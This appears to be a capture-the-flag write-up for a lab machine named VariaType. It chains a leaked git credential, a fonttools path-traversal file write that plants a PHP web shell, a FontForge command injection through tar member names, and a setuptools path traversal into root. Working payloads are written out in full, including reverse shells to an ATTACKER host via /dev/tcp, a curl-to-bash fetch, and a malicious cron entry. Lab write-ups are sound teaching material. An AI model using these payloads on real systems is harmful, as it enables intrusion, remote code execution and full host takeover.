VariaType
Reconnaissance
Port Scan
Nmap reveals two open ports:
- 22/tcp - SSH
- 80/tcp - HTTP (nginx 1.22.1)
Service Identification
Port 80 hosts - a variable font generation platform that accepts .designspace + .ttf files and builds variable fonts using the fonttools Python library.
Subdomain enumeration discovers portal.variatype.htb - an internal portal with authentication for viewing and downloading generated fonts.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://variatype.htb -H "Host: FUZZ.variatype.htb" -fs 169
An exposed .git directory on the portal allows extracting auth.php with credentials:
git-dumper http://portal.variatype.htb/.git/ portal-git
git diff 753b5f5957f2020480a19bf29a0ebc80267a4a3d
Credentials: gitbot / G1tB0t_Acc3ss_2025!
Initial Access - CVE-2025-66034 (fonttools Arbitrary File Write)
Vulnerability Analysis
CVE-2025-66034 affects fontTools.varLib.main(). In vulnerable versions, vf.filename from the <variable-fonts> section of a designspace file is used without sanitization:
# varLib/__init__.py (version < 4.60.2)
for vf in vfs_to_build:
filename = vf.filename # ← no basename()!
output_path = os.path.join(output_dir, filename)
vf.save(output_path)
This enables:
- Arbitrary file write - path traversal in
filenamewrites the VF to any filesystem path - Content injection - PHP injected into source font name tables survives in the generated VF
Exploitation
Step 1 - Source fonts with PHP payload
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
for f, w in [('source-light.ttf', 100), ('source-regular.ttf', 400)]:
fb = FontBuilder(1000, isTTF=True)
fb.setupGlyphOrder(['.notdef'])
fb.setupCharacterMap({})
p = TTGlyphPen(None)
p.moveTo((0,0)); p.lineTo((500,0)); p.lineTo((500,500)); p.lineTo((0,500)); p.closePath()
fb.setupGlyf({'.notdef': p.glyph()})
fb.setupHorizontalMetrics({'.notdef': (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(usWeightClass=w)
fb.setupPost()
fb.setupNameTable({'familyName': 'Test', 'styleName': f'W{w}'})
fb.font['name'].setName('<?php system($_GET["cmd"]); ?>', 0, 1, 0, 0)
fb.save(f)
Step 2 - Malicious designspace
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location><dimension name="Weight" xvalue="100"/></location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location><dimension name="Weight" xvalue="400"/></location>
</source>
</sources>
<variable-fonts>
<variable-font name="X" filename="../../../../../../var/www/portal.variatype.htb/public/shell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
Step 3 - Upload and RCE
Upload the designspace + both TTFs via variatype.htb/tools/variable-font-generator. fonttools generates the VF (a binary font containing <?php system()?> in the name table) and writes it as shell.php to the portal's webroot.
http://portal.variatype.htb/shell.php?cmd=id
In page source we can see the result of the command.
Reverse shell:
curl "http://portal.variatype.htb/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/9001+0>%261'"
Privilege Escalation: www-data → steve (CVE-2024-25082 FontForge)
Enumeration
/opt/process_client_submissions.bak processes fonts from /var/www/portal.variatype.htb/public/files/:
It accepts .tar.gz archives among other formats. FontForge (CVE-2024-25082) does not sanitize filenames inside archives - passing them to system().
The regex ^[a-zA-Z0-9._-]+$ filters the outer filename only. Internal archive member names are not validated.
Exploitation
On Kali - serve reverse shell
#!/bin/bash
bash -c "bash -i >& /dev/tcp/ATTACKER/1337 0>&1"'
python3 -m http.server 8888
nc -lvnp 1337
From the www-data shell:
python3 -c "
import tarfile, io
evil = '\$(curl\${IFS}ATTACKER:8888/rev.sh|bash).ttf'
dummy = b'\x00\x01\x00\x00' + b'\x00' * 100
with tarfile.open('/tmp/fontpack.tar.gz', 'w:gz') as tar:
info = tarfile.TarInfo(name=evil)
info.size = len(dummy)
tar.addfile(info, io.BytesIO(dummy))
"
cp /tmp/fontpack.tar.gz /var/www/portal.variatype.htb/public/files/
After ~2 minutes, cron processes the archive → FontForge calls system() with the member filename → curl | bash → shell as steve.
Privilege Escalation: steve → root (CVE-2025-47273 setuptools)
Enumeration
steve@variatype:~$ sudo -l
User steve may run the following commands on variatype:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
The script downloads a "validator plugin" from a URL using setuptools.package_index.PackageIndex().download():
index = PackageIndex()
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
Setuptools 78.1.0 is vulnerable to CVE-2025-47273 - path traversal in PackageIndex.download(). The _download_url() method extracts a filename from the URL and joins it with tmpdir via os.path.join():
filename = os.path.join(tmpdir, name)
os.path.join() discards the first argument (tmpdir) when the second begins with /. URL-encoded slashes (%2f) in the URL are decoded by egg_info_for_url() → the resulting filename starts with / → the file is written to an absolute path.
Exploitation
On Kali - serve cron payload
echo '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/1338 0>&1"' > rootcron
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(open('rootcron','rb').read())
HTTPServer(('0.0.0.0', 8888), H).serve_forever()
"
nc -lvnp 1338
As steve:
sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://ATTACKER:8888/%2fetc%2fcron.d%2fpwned"
%2f decodes to /. os.path.join("/opt/font-tools/validators", "/etc/cron.d/pwned") evaluates to /etc/cron.d/pwned. The script runs as root (via sudo) → cron file written with correct ownership and permissions.
After ~2 minute, cron fires the reverse shell → root.
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)
root@variatype:~# cat /root/root.txt
Attack Chain
Port 80 (VariaType Labs - font generator)
│
├─ Subdomain portal.variatype.htb → .git dump → auth.php → creds
│
├─ CVE-2025-66034 (fonttools varLib arbitrary file write)
│ ├─ <variable-fonts filename="../../.../shell.php"> → path traversal
│ └─ setName() PHP payload in name table → content injection
│ └─ shell.php in portal webroot → RCE as www-data
│
├─ CVE-2024-25082 (FontForge command injection)
│ └─ Malicious tar.gz with $(curl|bash).ttf as member filename
│ └─ Steve's cron processes it → FontForge system() → shell as steve
│
└─ CVE-2025-47273 (setuptools PackageIndex path traversal)
└─ sudo install_validator.py http://ATTACKER/%2fetc%2fcron.d%2fpwned
└─ os.path.join() discards tmpdir → cron as root → root shell
Takeaways
- CVE-2025-66034 -
vf.filenamefrom designspace format 5.0 enables arbitrary file write. Content injection viasetName()in source fonts survives VF generation. A binary font file with a.phpextension is correctly parsed by PHP-FPM -<?php ?>tags embedded in binary data are executed - CVE-2024-25082 - FontForge does not sanitize filenames inside archives. A regex on the outer filename does not protect against command injection in internal
.tar.gzmember names - CVE-2025-47273 -
os.path.join()discards the first argument when the second is an absolute path. URL-encoded slashes (%2f) bypass URL validation but are decoded before being used as a filesystem path - sudo + file write = root - a script run via sudo with
PackageIndex.download()allows writing arbitrary files as root. A cron entry in/etc/cron.d/provides immediate privilege escalation
